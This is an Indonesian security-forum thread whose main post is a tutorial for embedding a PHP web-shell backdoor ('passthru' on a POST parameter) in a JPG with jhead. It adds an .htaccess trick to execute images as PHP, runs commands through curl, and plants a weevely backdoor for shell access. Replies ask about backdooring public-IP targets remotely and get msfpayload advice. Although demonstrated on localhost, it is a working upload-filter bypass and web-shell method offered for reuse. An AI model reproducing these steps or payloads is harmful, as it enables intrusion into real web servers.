Manipulasi Backdoor php script ke file gambar, jpg*
#41
(02-12-2012, 06:08 PM)zee eichel Wrote: hmm berhubung ada yang nanya ke ane melalui request zone di blog ane, mengenai membuat backdoor php yang kemudian disisipkan ke dalam jpg, ane buatkan saja tutornya secara langsung.

Sering para pentester aplikasi web mengalami kesulitan pada saat melakukan injection yaitu saat memasukan backdoor melalui form-form, entah pada saat di dalam admin page atau pada form-form upload lainnya karena adanya filter yang hanya mengallowed file tertentu untuk di upload ke dalam server target. Yang di allowed dengan filterisasi ekstensi , biasanya hanya tipe-tipe file murni image antara lain .jpg. Sedangkan rata2 backdoor adalah berekstensi PHP. Yang jadi persoalan adalah Bagaimana kita bisa membuat file jpg ( gambar ) namun memiliki abiliti ( kemampuan ) menyimpan dan mengesekusi php script.
ok langsung saja … pertama kita cari dulu file gambar .. ( extensi jpg, png ) hmm mbah google ajah.. ane cari gambar dengan keyword “perek” kwwkkwkw ternyata ane langsung memilih gambar yang lumayan seksi nih… biar sekalian ahhh hihihihih…



Ok ane save gambar tersebut … dan simpan di direktori root … ckckckck that is amazing Tongue

Ok .. ini spesifikasi percobaan

Quote:1. Os yang ane gunakan : backtrack 5 R1 KDE 32 bit
2. kernel : root@eichel:~# uname -a | Linux eichel 2.6.39.4 #1 SMP Thu Aug 18 13:38:02 NZST 2011 i686 GNU/Linux
3. Target : localhost ( 127.0.0.1 )
4. Webserv : apache2

#note-1 :
Quote:Target ane ini hanya ke localhost ane saja … coz ini hanya sebagai contoh percobaan ..and ane bukan depeser yang nyari2 celah sana-sini ( keenakan ntar pentest gratis ).

Yang di butuhkan
Quote:1. jhead ( install dengan melakukan apt-get install jhead )
2. curl ( sudah terinstall di backtrack 5 )
3. weevely.py ( sama sudah ada juga,.. huhauhua viva backtrackers ! )

Ok sekarang kita coba lakukan percobaan …

1. Menyisipkan cmd backdoor php dalam file jpg


Ok sebagai percontohan percobaan ane coba menyisipkan php script pada file yang tadi sudah ane download sembarang dari google, “perek.jpg“, kita gunakan jhead. Kita periksa dulu mending file tersebut jgn2 sudah ada script atau comment.



yup ternyata ada tuh .. kita remove semua script atau comment yang ada di pic tersebut ..dengan opsi -purejpg



Ok setelah di murnikan , kita akan memasukan script kita kedalam gambar tersebut ., hmm kita gunakan testing terlebih dahulu .. kita masukan script di bawah ini ..

Code:
<?php passthru($_POST['cmd']); __halt_compiler();


dan jika sukses jhead akan memberitahukan kepada anda …



terus cek klo script sudah masuk dengan baik



Ok gambar tadi ( perek.jpg) yang telah di masukan script php tadi saya masukan kedalam localhost di /var/www ,hmm yaitu didalam folder "tesbd"…

Code:
root@eichel:~# mkdir /var/www/tesbd
root@eichel:~# mv perek.jpg /var/www/tesbd/

Ane buat file .httaccess pada direktori tesbd agar bisa “perek.jpg” diesekusi curl …Intinya sebenarnya hanya agar percobaan ini bisa sukses dengan mudah, jadi file httaccess akan mengallowed pemanggilan fungsi php tanpa harus memakai ekstensi php.

Code:
root@eichel:~# cd /var/www/tesbd/
root@eichel:/var/www/tesbd# echo "AddType application/x-httpd-php .jpg" >> .htaccess

Perhatikan untuk contoh kasus script yang ane masukin ini hanya berlaku kalau modul mime pada apache2 dalam keadaan aktif. dan minimal pada direktori tersetting AllowOverride FileInfo

2. Backdoor akses

Ok kemudian ane coba akses dengan “curl” .. sukses ..



Perhatikan gambar di atas , bahwa perintah pada opsi -d di atas sukses di esekusi cmd=id .. maka file backdoor akan menampilkan uid , gid akses. Coba kita tes perintah lain. Misalnya perintah “ls” dan “whoami“



3. Back-connection

Hal ini bisa dikembangkan sampai kita mendapatkan akses backconnect shell pada mesin target. Ok untuk taraf ini saya pakai weevely.py. tool ini dapat kita temukan pada direktori pentest pada backtrack 5

Code:
root@eichel:/pentest/backdoors/web/weevely#

Ok kita buat backdoor dengan weevely.py .. syntaxnya

Code:
weevely generate <password> <output_path>

jadi ane buat backdoor dengan nama lohan.php serta password = 123manado



nah nantinya pada direktori yang sama anda akan mendapatkan sebuah file yang telah anda ciptakan barusan, yaitu lohan.php. buka lohan.php dengan editor anda kemudian copy seluruh isi script phpnya. Seperti pada langkah pertama tadi , ketika kita sukses memasukan scirpt passthru pada langkah awal tadi , kita masukan isi script dari lohan.php ke file gambar tadi …ane copy perek.jpg ke perek1.jpg biar beda deh …

Code:
root@eichel:~# cp perek.jpg perek1.jpg
root@eichel:~# kwrite /pentest/backdoors/web/weevely/lohan.php
root@eichel:~# jhead -purejpg perek1.jpg
Modified: perek1.jpg
root@eichel:~# jhead -ce perek1.jpg
Modified: perek1.jpg

Nah dengan menggunakan jhead ane berhasil memasukan isi script dari lohan.php ( hasil dari autogenerate weevely.py ) ke dalam file gambar baru yaitu perek1.jpg. Kemudian file perek1.jpg saya coba upload ke dalam localhost. Nah kembali lagi ke direktory weevely.py lalu mengakses file perek1.jpg .. dengan catatan file perek1.jpg sudah berada di dalam localhost



wuiihh kita mendapatkan akses untuk masuk ke shell komputer korban yang diakses dari sebuah file berekstensi JPG!!!



ok ini hanya sekedar contoh saja .. ane hanya ingin memberikan poc bahwa script php dapat di inject / disisipkan dalam file yang lain .. contohnya file jpg ( image file ). tinggal anda masukan script2 buatan anda yang mungkin lebih maknyos dan lebih banyak variasinya.. use your skill !!!

Kita buka file php yang telah kita inject sciript php… hmmm tampaknya masih seperti file jpg biasa saja



Ok ane saat ini lagi sama om mirwan a.k.a cassaprodigy dan om faisal a.k.a xsan-lahci mohon undur diri dari hadapan anda.. sampai jumpa lagi di thread yang tak kalah menariknya ..tetaplah setia bersama forum tercinta kita …

viva la backtrack

ane qoute dulu kang sambil pelan-pelan mau mraktekin Big Grin

#42
om zee...
kalo buat backdoor untuk target ip publik gimana om? maksud ane backdooring jarak jauh! biasanya kan pake msfpayload untuk jaringan local aja, klo untuk jaringan interlocal gimana ya om?

#43
(03-26-2014, 04:19 PM)crash ahan Wrote: om zee...
kalo buat backdoor untuk target ip publik gimana om? maksud ane backdooring jarak jauh! biasanya kan pake msfpayload untuk jaringan local aja, klo untuk jaringan interlocal gimana ya om?

msfpayload itu kan bisa juga om buat WAN bukan hanya LAN kok , hanya jsa opsi LHOST harus menggunakan IP Publik ... sudah sering saya bahas ginian di mari Smile
FOLLOW @DutaLinux
for more question and sharing about security and Opensource only

#44
(03-31-2014, 06:33 PM)zee eichel Wrote:
(03-26-2014, 04:19 PM)crash ahan Wrote: om zee...
kalo buat backdoor untuk target ip publik gimana om? maksud ane backdooring jarak jauh! biasanya kan pake msfpayload untuk jaringan local aja, klo untuk jaringan interlocal gimana ya om?

msfpayload itu kan bisa juga om buat WAN bukan hanya LAN kok , hanya jsa opsi LHOST harus menggunakan IP Publik ... sudah sering saya bahas ginian di mari Smile
maaf om zee! Smile saya memang jarang buka thread! soalnya ane jarang ol om! saya jg masih bingung letak thread nya!

maksud ane om backdoornya bukan pake PHP, taapi pake metode seperti soceng file dengan format EXE om,
DO IT BETTER THAN BETTER 9268






Users browsing this thread: 1 Guest(s)